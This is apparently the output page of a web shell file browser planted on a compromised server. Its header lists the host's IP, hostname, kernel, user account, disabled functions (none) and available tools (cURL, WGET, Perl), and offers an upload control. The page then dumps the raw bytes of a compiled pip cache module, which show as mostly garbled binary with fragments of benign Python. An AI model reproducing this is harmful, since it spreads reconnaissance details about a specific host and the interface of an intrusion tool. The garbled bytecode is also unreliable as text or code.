| Server IP : 162.19.112.25 / Your IP : 216.73.217.36 Web Server : LiteSpeed System : Linux qamar.tasjeel.ae 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64 User : archiart ( 1428) PHP Version : 8.2.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /opt/cloudlinux/venv/lib/python3.11/site-packages/pip/_internal/__pycache__/ |
Upload File : |
�
�)R���� � � d Z ddlZddlZddlZddlZddlmZ ddlmZm Z m
Z
mZ ddlm
Z
mZmZ ddlmZ ddlmZ ddlmZ dd lmZ dd
lmZ ddlmZmZ ddlmZ ej e � � Z!d
Z"de e#e#f de#fd�Z$ G d� d� � Z% G d� de%� � Z& G d� de&� � Z' G d� d� � Z( G d� de%� � Z)dS )zCache Management
� N)�Path)�Any�Dict�List�Optional)�Tag�interpreter_name�interpreter_version)�canonicalize_name)�InvalidWheelFilename)� DirectUrl)�Link)�Wheel)�
TempDirectory�
tempdir_kinds)�path_to_urlzorigin.json�d�returnc � � t j | ddd�� � }t j |� d� � � � � � � S )z'Return a stable sha224 of a dictionary.T)�,�:)� sort_keys�
separators�ensure_ascii�ascii)�json�dumps�hashlib�sha224�encode� hexdigest)r �ss �e/builddir/build/BUILD/cloudlinux-venv-1.0.11/venv/lib/python3.11/site-packages/pip/_internal/cache.py�
_hash_dictr$ sB � ��
�1���$�O�O�O�A��>�!�(�(�7�+�+�,�,�6�6�8�8�8� c � � � e Zd ZdZdeddf� fd�Zdedee fd�Zdededee fd �Z
dedefd
�Zdedee dee
defd
�Z� xZS )�CachezuAn abstract class - provides cache directories for data from links
:param cache_dir: The root of the cache.
� cache_dirr Nc � �� t � � � � � |r!t j � |� � sJ �|pd | _ d S �N)�super�__init__�os�path�isabsr( ��selfr( � __class__s �r# r, zCache.__init__&